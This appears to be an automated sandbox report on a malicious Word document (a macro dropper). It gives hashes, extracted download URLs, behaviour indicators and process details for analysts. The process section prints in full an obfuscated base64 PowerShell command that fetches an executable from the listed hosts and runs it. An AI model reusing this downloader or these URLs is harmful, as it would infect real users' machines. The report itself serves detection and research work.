Analysis
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max time kernel
135s -
max time network
126s -
platform
windows10_x64 -
resource
win10 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc
Resource
win7
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc
Resource
win10
General
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Target
SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc
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Size
174KB
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MD5
3c20d0817d04e702fd5166fc3ce8594b
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SHA1
a984d3e6856342ddc5d6bf48d7de645ba8084cc1
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SHA256
4b22feab70ea7d7acacbfaa93a8e2f6e0c3cd2520c63603caff2a970a78b1ea3
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SHA512
623f619e0ea82ef2979ad6c8485357b75c6f0cedbcda80d4c4c2198ea721ff3588892c1d4b929b7181f784d66aeea45230275faed12d0ca068e39afbc3a94b92
Malware Config
Extracted
http://www.hatchdogs.com/assets/XIw/
https://groovyboove.co.uk/blogs/8T94mmdka13/
https://gregemerson.com/wp-includes/hudy17240/
http://guariz.com.br/WuutjlO/
http://hafder.com/images/fhq7h7babdbe5q5052/
Signatures
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Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3920 WINWORD.EXE 3920 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3760 3520 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3760 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powersheLL.exepid process 3760 powersheLL.exe 3760 powersheLL.exe 3760 powersheLL.exe -
Blacklisted process makes network request 3 IoCs
Processes:
powersheLL.exeflow pid process 17 3760 powersheLL.exe 21 3760 powersheLL.exe 27 3760 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXEpid process 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/3920-1-0x000001D2D6F97000-0x000001D2D6FA8000-memory.dmpFilesize
68KB
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memory/3920-0-0x000001D2D6F97000-0x000001D2D6FA8000-memory.dmpFilesize
68KB
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memory/3920-2-0x000001D2D6F97000-0x000001D2D6FA8000-memory.dmpFilesize
68KB
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memory/3920-3-0x000001D2D6F97000-0x000001D2D6FA8000-memory.dmpFilesize
68KB
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memory/3920-4-0x000001D2CCDDA000-0x000001D2CCDE3000-memory.dmpFilesize
36KB
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memory/3920-5-0x000001D2D761E000-0x000001D2D7623000-memory.dmpFilesize
20KB
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memory/3920-6-0x000001D2D761E000-0x000001D2D7623000-memory.dmpFilesize
20KB
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memory/3920-7-0x000001D2D7616000-0x000001D2D761E000-memory.dmpFilesize
32KB